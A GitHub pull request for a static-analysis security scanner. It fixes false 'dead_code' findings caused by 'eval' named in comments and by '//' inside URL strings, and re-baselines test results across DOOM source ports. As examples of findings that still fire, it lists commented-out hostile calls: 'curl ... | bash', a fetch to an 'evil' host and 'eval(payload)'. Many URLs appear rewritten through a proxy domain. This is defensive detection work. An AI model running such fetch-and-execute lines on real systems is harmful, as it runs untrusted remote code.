Repository navigation
fix(security): dead_code ignores eval named in prose and // in URL strings (#4548) - #6796
Conversation
…rings (#4548) The last #4548 residue on the DOOM ports was one false GG-SAST-DEAD_CODE per port: - a backticked `eval` in a // comment (nugget-doom nano_bsp.c) and an empty eval() in a # comment (chocolate-doom man/simplecpp): eval now needs an argument and must not sit inside a code span or quotes; - the // of "http://" on a code line read as a comment opening (odamex cl_download.cpp): // after ':' or a quote no longer opens a comment. Closes #4548 Co-Authored-By: Claude Opus 5.5 <[email protected]> Claude-Session: https://claude.ai/code/session_018srRveduB3fGx5MYmASN2o
|
No description provided. |
|
No description provided. |
|
PR #6796 @ cb99087: 2 failed check(s) == crucible-audit (full-precision) (failure) -- real == crucible-audit (zero-dependency) (failure) -- real |
…ODE findings on 4 ports (Part of #6266) Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
…on chocolate-doom, crispy-doom, doo-cr (Part of #6266) Full 44-port doom_rosetta_check at this head: only these three drift, summary counts only (by_level, by_rule, sarif_total); the other 41 match. Co-Authored-By: Claude Opus 5.5 <[email protected]>
…ter #6793 (Part of #6266) (#6799) * Call-graph accuracy baseline: accept the C++ destructor-name and conversion-operator decisions (Part of #6266) cpp recall 99.7 -> 99.0 (FN 24 -> 77), precision 96.6 -> 98.2 (FP 271 -> 137). Bisected on the language-crucible: 25 -> 38 FN at #6762 (x->~T() is the unit ~T, tree-sitter says T), 38 -> 77 at #6776 (String(operator Vector2()) names a conversion operator, not the Vector2 type; read in godot variant.cpp). Neither PR refreshed this baseline; #6793 does not move it (the pre-#6793 parent measures the same 99.0). Co-Authored-By: Claude Sonnet 5.5 <[email protected]> * Re-bless DOOM-rosetta: #6793 continued-define leak lowers engine-only callgraph on 6 ports (Part of #6266) Only callgraph fields move: woof, odamex, doom3-bfg, srb2, doomsday, nugget-doom gain precision (nugget-doom unscored 21 -> 0, srb2 55 -> 27). Cost: 4 misses (srb2 2 -> 4, odamex 21 -> 23) where a macro defined inside a function is invoked in it (HWR_RenderPlane SETUP3DVERT, md5_process H): the oracle credits the body to the invoking function, the engine no longer does. Macro expansion is a sibling gap. Co-Authored-By: Claude Sonnet 5.5 <[email protected]> * Re-bless DOOM-rosetta: #6796 dead_code prose/URL fix drops 1-2 DEAD_CODE findings on 4 ports (Part of #6266) Co-Authored-By: Claude Sonnet 5.5 <[email protected]> * Re-bless DOOM-rosetta: #6796 dead_code fix drops 1 DEAD_CODE finding on chocolate-doom, crispy-doom, doo-cr (Part of #6266) Full 44-port doom_rosetta_check at this head: only these three drift, summary counts only (by_level, by_rule, sarif_total); the other 41 match. Co-Authored-By: Claude Opus 5.5 <[email protected]> * affected gate: run the pytest on PATH when the interpreter has none (precheck 6 s red on #6799) Churn's precheck runs pr_gates under /usr/bin/python3, which has no pytest, so `sys.executable -m pytest` failed `affected` in 6 s on every branch whose change reaches a test; under the selfscan venv it passed, so earlier runs could not reproduce it. Fall back to the `pytest` on PATH with this checkout first on PYTHONPATH (the same trap pr_gates' _tool_bin_dir closes for ruff). Part of #6266. Co-Authored-By: Claude Opus 5.5 <[email protected]> --------- Co-authored-by: Joe Esquibel <[email protected]> Co-authored-by: Claude Sonnet 5.5 <[email protected]>
…ll false positives) (#6804) #6796 merged with the golden crucible red; every PR since fails against the stale count. The 15 dropped findings are URL strings and annotation/attribute URLs whose // opened a false comment (spock @see(["https://..."]), moby HasPrefix("https://"), pom.xml xmlns), and eval named in prose (regexp-unicode-sets.js). No count rose. Part of #4548 Claude-Session: https://claude.ai/code/session_018srRveduB3fGx5MYmASN2o Co-authored-by: Claude Opus 5.5 <[email protected]>
Closes #4548. The last residue of the DOOM-study risk/security noise: nyx's 2026-10-26 re-scan found items 2-7 no longer reproduce, and item 1 (SARIF false positives) left exactly one false
GG-SAST-DEAD_CODEper port.What
gitgalaxy/security/security_lens.py, thedead_codesignature:evalnamed in prose:evalnow counts only with an argument. An emptyeval()and a code span (`eval`) or quotedevalare the word, not a call.src/nano_bsp.c:// ... storing the results ineval.man/simplecpp:# Evaluate an expression using Python's eval() function.//inside a URL string on a code line: a//right after:or a quote no longer opens a comment.client/src/cl_download.cpp:if (wit->find("http://", 0) != 0 && ...)Real commented-out calls (
// eval(payload),# eval "$cmd",// fetch("http://evil..."),// curl http://x | bash) still fire once each.Evidence
dead_codebefore, 0 / 0 / 0 after (directSecurityLens.scan_contenton the pinned clones indoom-study/repos).tests/security_auditing/test_sast_comment_awareness_4987.py: both prose shapes across the//,#and--markers, plus the URL-in-a-string line and a real commented-out fetch.tests/security_auditing: 712 passed.pr_gates.py --fast: 9/9.Not covered (sibling shapes, same class)
#or--inside a string literal on a code line could open a false comment the same way, but neither appeared in the DOOM corpus or the existing fixtures. Left alone rather than guessed at.🤖 Generated with Claude Code